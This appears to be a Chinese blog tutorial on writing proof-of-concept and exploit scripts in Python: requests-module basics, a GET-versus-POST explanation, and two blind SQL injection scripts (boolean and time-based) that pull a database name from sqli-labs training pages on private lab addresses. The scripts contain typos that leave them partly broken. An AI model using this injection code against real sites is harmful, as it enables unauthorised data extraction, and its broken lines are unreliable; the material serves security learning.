• 网络安全笔记-POC与EXP的Python实现


    定制EXP漏洞利用之Python实现

    以Web漏洞为主
    基础知识:
    requests模块
    requests模块详解
    requests是使用Apache2 licensed许可证的HTTP库。
    用python编写。
    比urllib2模块更简洁。

    Request支特HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码。
    内置模块的基础上进行了高度的封装,从而使得python进行网络请求时,变得人性化,使用Requests可以轻而易举的完成浏览器可有的任何操作。
    现代,国际化,友好。
    requests会自动实现持久连接keep-alive。
    基本语法

    import requests
    res = requests.get("your url");
    //获取响应正文
    res.text
    //获取响应状态码
    res.status_code
    //获取响应编码
    res.encoding
    //以二进制方式获取响应正文
    res.content
    //获取响应头部
    res.headers
    //获取提交的url
    res.url
    //获取发送到服务器的头信息
    res.request.headers
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    相关操作

    定制头部
    1、重新定义User-Agent

    import requests
    url="http://172.16.132.138/php/test.php"
    header = {"User-Agent":"AJEST"}
    res = requests.get(url=url;headers=header)
    print(res.request.headers)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    2、超时

    import requests
    url="http://172.16.132.138/php/test.php"
    try:	
    	res = requests.get(url=url;timeout=2)
    	print(res.text)
    except Exception as e:
    	print("TimeOut!")	
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    3、get传参

    import requests
    url = "http://10.10.10.131/cpde/PHP/test/get.php"
    getPara = {"name":"AJEST","pwd":"123456"}
    res = requests.get(url = url,params = getPara)
    print(res.text)
    print(res.url)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    4、post传参

    url = "http://10.10.10.131/cpde/PHP/test/post.php"
    postData = {"name":"agest","pwd":"123456"}
    res = requests.post(url = url,data = postData)
    print(res.text)
    
    • 1
    • 2
    • 3
    • 4

    5、上传文件

    url = "http://172.16.132.138/php/upload/index.php"
    upFile = {"up":open("info.php","rb")}
    res = requests.post(url = url,files = upFile)
    print(res.text)
    
    • 1
    • 2
    • 3
    • 4

    6、重定向

    url = "http://172.16.132.138/php/redirect/index.php"
    
    res = requests.get(url = url)
    print(res.text)
    print(res.history)
    
    res = requests.get(url =url,allow_redirects = False)
    print(res.headers)
    print(res.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    7、cookie

    url = "http://172.16.132.138/php/cookie/index.php"
    coo = {"name":"ajest"}
    res = requests.get(url = url,cookies = coo)
    print(res.text)
    
    • 1
    • 2
    • 3
    • 4

    GET和POST区别

    HTTP协议中的两种发送请求的方法,本质上都是在进行TCP连接.

    • GET请求和POST请求的区别是什么?
      • get请求一般是去取获取数据(其实也可以提交,但常见的是获取数据);
        post请求一般是去提交数据。
      • GET请求参数是通过URL进行传递的,所以隐私性,安全性较差,请求的数据长度是有限制的,不同的浏览器和服务器不同,一般限制在 2~8K 之间,更加常见的是 1k 以内;
        POST请求的参数包含在请求体body当中。post请求是没有的长度限制。
      • GET请求比POST请求更不安全,因为参数直接暴露在URL中,所以,GET请求不能用来传递敏感信息。
      • GET请求参数会完整的保留在浏览器的历史记录中,POST请求的参数不会保留。
      • GET请求进行url编码(百分号编码),POST请求支持多种编码方式。
      • GET请求产生的URL地址是可以被bookmark(添加书签)的,POST请求不可以。
      • GET请求在浏览器回退的时候是无害的,POST请求会.再次提交数据。
      • GET请求在浏览器中可以被主动cache(缓存),而POST请求不会被缓存,可以手动设置。
      • get请求会被保存在浏览器历史记录当中,post不会。get请求可以被收藏为书签,因为参数就是url中,但post不能。它的参数不在url中。
      • get请求只能进行url编码(appliacation-x-www-form-urlencoded),post请求支持多种(multipart/form-data等)。
    • 深入区别
      GET产生一个TCP数据包。POST产生两个TCP数据包。
      复杂的说
      对于GET请求,浏览器会把http header和data一起发送出去,服务器响应200,请求成功。
      对于POST请求,浏览器先发送header,服务器会响应100(已经收到请求的第一部分,正在等待其余部分),浏览器再次发送data,服务器返回200,请求成功。
      • 2、既然POST请求需要两步,那么时间上的消耗会不会比GET请求更多?不会。
        GET请求和POST请求都有自己的语义,不能随便混用。
        在网络环境好的情况下,发送一次包的时间和发送两次包的时间差可以忽略,在网络环境差的情况下,发送两次包的TCP在验证数据的完整性上,有非常大的优势。
        并不是所有的浏览器都会在POST请求中发送两次包。比如:火狐。

    python实现SQL注入

    import requests
    url = "http://10.10.10.131/sqli-labs-master/Less-8/"
    normalHtmlLen = len (requests.get (url=url+"?id=1").text)
    print ("The len of HTML: "+str (norma1HtmlLen))
    dbNameLen = 0
    while True:
    	dbNameLen_url = url+"?id=1'+and+length (database ()) ="+str (dbNameLen) +"--+"
    	print (dbNameLen_url)
    	if len (requests.get (dbName Len_url).text) == normalHtmlLen:
    		print ("The len of dbName: "+str (dbNameLen)) 
    		break
    	if dbNameLen == 30: 
    		print ("Error!") 
    		break
    	dbName Len +=1
    
    dbName = ""
    for i in range (1, 9) :
    	for a in string.ascii_lowercase:
    		dbName_url = url+"?id=1'+and+substr (database (), "+str (i) +", 1) =' "+a+"'--+"
    		print (dbName_url)
    		if len (requests.get(dbName_url). text)normalHtmlLen: 
    			dbName += a
    			print (dbName) 
    			break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    import requests 
    import string
    url = "http://10.10.10.131/sqli-labs-master/Less-9/" 
    def timeOut (url) :
    	try:
    		res = requests.get (url, timeout=3)
    		return res.text
    	except Exception as e:
    		return "timeout"
    dbNameLen = 0
    while True:
    	dbNameLen +=1
    	dbNameLenUrl = url+"?id=1'+and+if (length (database ()) ="+str (dbNameLen) +", sleep (5) , 1) --+"
    	#print (dbNameLenUrl)
    	if "timeout" in timeOut (dbNameLenUrl):
    		print ("The Len of dbName: "+str (dbNameLen)) break
    	if dbNameLen == 30: 
    		print ("Error!") 
    		break
    
    dbName = ""
    for i in range (1, dbNameLen+1) :
    	for char in string. ascii_lowercase:
    		dbNameUrl = url+"?id=1'+and+if (substr (database (), "+str (i) +", 1) =' "+char+"', sleep (5) , 1) --+"
    		print (dbNameUrl)
    		if "timeout" in timeOut (dbNameUrl) :
    			dbName +=char
    			print ("The dbName:"+dbName) 
    			break
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
  • 相关阅读:
    Redis04:Redis事务操作以及后续高级部分
    MFC中的类继承图的基本框架
    探索常见经典目标检测算法:从YOLO到Faster R-CNN
    计算机毕业设计Python+djang的药物管理系统
    【JS】Day29
    android | 声明式编程!(笔记)
    【k8s管理操作】
    Linux考试复习整理
    C# 将本地图片插入到Excel文件中
    JS:如何创建新元素并添加到页面中
  • 原文地址:https://blog.csdn.net/L120305q/article/details/126556225